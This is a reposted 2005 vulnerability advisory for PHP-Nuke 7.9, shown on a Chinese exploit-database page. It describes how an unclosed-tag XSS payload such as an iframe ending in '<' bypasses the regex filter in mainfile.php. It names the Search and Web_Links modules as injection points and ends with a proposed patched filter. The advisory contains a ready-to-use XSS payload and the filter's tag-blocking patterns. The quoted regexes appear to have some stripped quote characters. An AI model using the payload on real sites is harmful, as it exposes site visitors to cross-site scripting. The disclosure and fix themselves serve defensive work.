PHPNUKE 7.9=>x Bypass XSS filter

漏洞ID	1053316	漏洞类型
发布时间	2005-09-30	更新时间	2005-09-30
CVE编号	N/A	CNNVD-ID	N/A
漏洞平台	N/A	CVSS评分	N/A

|漏洞来源

https://cxsecurity.com/issue/WLB-2005090051

|漏洞详情

漏洞细节尚未披露

|漏洞EXP

[Bypass XSS filter in PHPNUKE 7.9=>x cXIb8O3.21]

Author: Maksymilian Arciemowicz ( cXIb8O3 )
Date: 14.12.2005

- --- 0.Description ---
PHP-Nuke is a Web Portal System, storytelling software, news system, online community or whatever you want to call it.
Its goal is to have an automated web site to distribute news and articles with user system. Each user can submit
comments to discuss the articles, similar to Slashdot and many others. Features: web admin, polls/surveys with comment,
statistics, user customizable box, themes manager, friendly admin GUI, moderation system, sections manager, banner
system, backend/headlines generation, Yahoo like search engine, Ephemerids manager, file manager, download manager, faq
manager, advanced blocks system, reviews system, newsletter, content management, encyclopedia generator, md5 password
encryption, phpBB Forums integration, support for 25 languages, 100% modular and more. Written 100% in PHP and requires
Apache, PHP and a SQL Database Server. Supports MySQL, PostgreSQL, Adabas, mSQL and many others.

- --- 1. Bypass XSS filter ---

In PHPnuke is (file includes/mainfile.php).

- -168-193---
if (!defined('ADMIN_FILE') && !file_exists('includes/nukesentinel.php')) {
foreach ($_GET as $sec_key => $secvalue) {
if ((eregi("<[^>]*script*"?[^>]*>", $secvalue)) ||
(eregi("<[^>]*object*"?[^>]*>", $secvalue)) ||
(eregi("<[^>]*iframe*"?[^>]*>", $secvalue)) ||
(eregi("<[^>]*applet*"?[^>]*>", $secvalue)) ||
(eregi("<[^>]*meta*"?[^>]*>", $secvalue)) ||
(eregi("<[^>]*style*"?[^>]*>", $secvalue)) ||
(eregi("<[^>]*form*"?[^>]*>", $secvalue)) ||
(eregi("<[^>]*img*"?[^>]*>", $secvalue)) ||
(eregi("<[^>]*onmouseover*"?[^>]*>", $secvalue)) ||
(eregi("<[^>]*body*"?[^>]*>", $secvalue)) ||
(eregi("([^>]*"?[^)]*)", $secvalue)) ||
(eregi(""", $secvalue)) ||
(eregi("forum_admin", $sec_key)) ||
(eregi("inside_mod", $sec_key))) {
die ($htmltags);
}
}

foreach ($_POST as $secvalue) {
if ((eregi("<[^>]*onmouseover*"?[^>]*>", $secvalue)) ||
(eregi("<[^>]script*"?[^>]*>", $secvalue)) ||
(eregi("<[^>]*body*"?[^>]*>", $secvalue)) ||
(eregi("<[^>]style*"?[^>]*>", $secvalue))) {
die ($htmltags);
}
}
}
- -168-193---

This functions deletes from input html tags like:

- <script>
- <object>
- <iframe>
- <applet>
- <meta>
- <style>
- <form>
- <img>
- <onmouseover>
- <body>

etc.

Ok. But if we sent to script:

# <iframe src=http://cxsecurity? < Hi

The function don't find wrong tags.
And broswer read this

"<iframe src=http://cxsecurity? < Hi"

and change "<" to ">".
Result:

# <iframe src=http://cxsecurity? > Hi

I have checked this in IE, Mozilla, Opera, Links, Lynx etc.
Only don't work in konqueror.

- --- 2. XSS ---

2.0 http://[HOST]/[DIR]/modules.php?name=Search

Insert:

<iframe src=http://cxsecurity.com?phpnuke79 <

And have you xss.

2.1 http://[HOST]/[DIR]/modules.php?name=Web_Links

Insert:

<iframe src=http://cxsecurity.com?phpnuke79 <

and more.

- --- 3. How to fix ---

Change xss filter in mainfile.php

- ---
if (!defined('ADMIN_FILE')) {
foreach ($_GET as $sec_key => $secvalue) {
if ((eregi("<[^>]*script*"?[^>]*>", $secvalue)) ||
(eregi("<[^>]*object*"?[^>]*>", $secvalue)) ||
(eregi("<[^>]*iframe*"?[^>]*>", $secvalue)) ||
(eregi("<[^>]*applet*"?[^>]*>", $secvalue)) ||
(eregi("<[^>]*meta*"?[^>]*>", $secvalue)) ||
(eregi("<[^>]*style*"?[^>]*>", $secvalue)) ||
(eregi("<[^>]*form*"?[^>]*>", $secvalue)) ||
(eregi("<[^>]*img*"?[^>]*>", $secvalue)) ||
(eregi("<[^>]*onmouseover*"?[^>]*>", $secvalue)) ||
(eregi("([^>]*"?[^)]*)", $secvalue)) ||
(eregi(""", $secvalue)) ||
(eregi("forum_admin", $sec_key)) ||
(eregi("inside_mod", $sec_key))) {
die ("<center><img src=images/logo.gif><br><br><b>The html tags you attempted to
use are not allowed</b><br><br>[ <a href="javascript:history.go(-1)"><b>Go
Back</b></a> ]");
}
}

foreach ($_POST as $secvalue) {
if ((eregi("<[^>]*onmouseover*"?[^>]*>", $secvalue)) ||
(eregi("<[^>]script*"?[^>]*>", $secvalue)) ||
(eregi("<[^>]style*"?[^>]*>", $secvalue))) {
die ("<center><img src=images/logo.gif><br><br><b>The html tags you attempted to
use are not allowed</b><br><br>[ <a href="javascript:history.go(-1)"><b>Go
Back</b></a> ]");
}
}
}
- ---

to

- ---
if (!defined('ADMIN_FILE')) {
foreach ($_GET as $sec_key => $secvalue) {
if((eregi("<[^>]*script*"?[^>]*", $secvalue)) ||
(eregi("<[^>]*object*"?[^>]*", $secvalue)) ||
(eregi("<[^>]*iframe*"?[^>]*", $secvalue)) ||
(eregi("<[^>]*applet*"?[^>]*", $secvalue)) ||
(eregi("<[^>]*meta*"?[^>]*", $secvalue)) ||
(eregi("<[^>]*style*"?[^>]*", $secvalue)) ||
(eregi("<[^>]*form*"?[^>]*", $secvalue)) ||
(eregi("<[^>]*img*"?[^>]*", $secvalue)) ||
(eregi("<[^>]*onmouseover *"?[^>]*", $secvalue)) ||
(eregi("<[^>]*body *"?[^>]*", $secvalue)) ||
(eregi("([^>]*"?[^)]*)", $secvalue)) ||
(eregi(""", $secvalue)) ||
(eregi("forum_admin", $sec_key)) ||
(eregi("inside_mod", $sec_key)))
{
die ($htmltags);
}

}

foreach ($_POST as $secvalue) {
if ((eregi("<[^>]*iframe*"?[^>]*", $secvalue)) ||
(eregi("<[^>]*object*"?[^>]*", $secvalue)) ||
(eregi("<[^>]*applet*"?[^>]*", $secvalue)) ||
(eregi("<[^>]*meta*"?[^>]*", $secvalue)) ||
(eregi("<[^>]*form*"?[^>]*", $secvalue)) ||
(eregi("<[^>]*img*"?[^>]*", $secvalue)) ||
(eregi("<[^>]*onmouseover*"?[^>]*", $secvalue)) ||
(eregi("<[^>]script*"?[^>]*", $secvalue)) ||
(eregi("<[^>]*body*"?[^>]*", $secvalue)) ||
(eregi("<[^>]style*"?[^>]*", $secvalue)))
{
die ($htmltags);
}
}
}
- ---

thx nukefixes.com


- --- 4. Greets ---

nukefixes.com

- --- 5.Contact ---
Author: Maksymilian Arciemowicz < cXIb8O3 >

相关推荐: CMScore Multiple SQL Injection Vulnerabilities

CMScore Multiple SQL Injection Vulnerabilities 漏洞ID 1097110 漏洞类型 Input Validation Error 发布时间 2005-02-06 更新时间 2005-02-06 CVE编号 N/A …

文章版权归作者所有，未经允许请勿转载。

THE END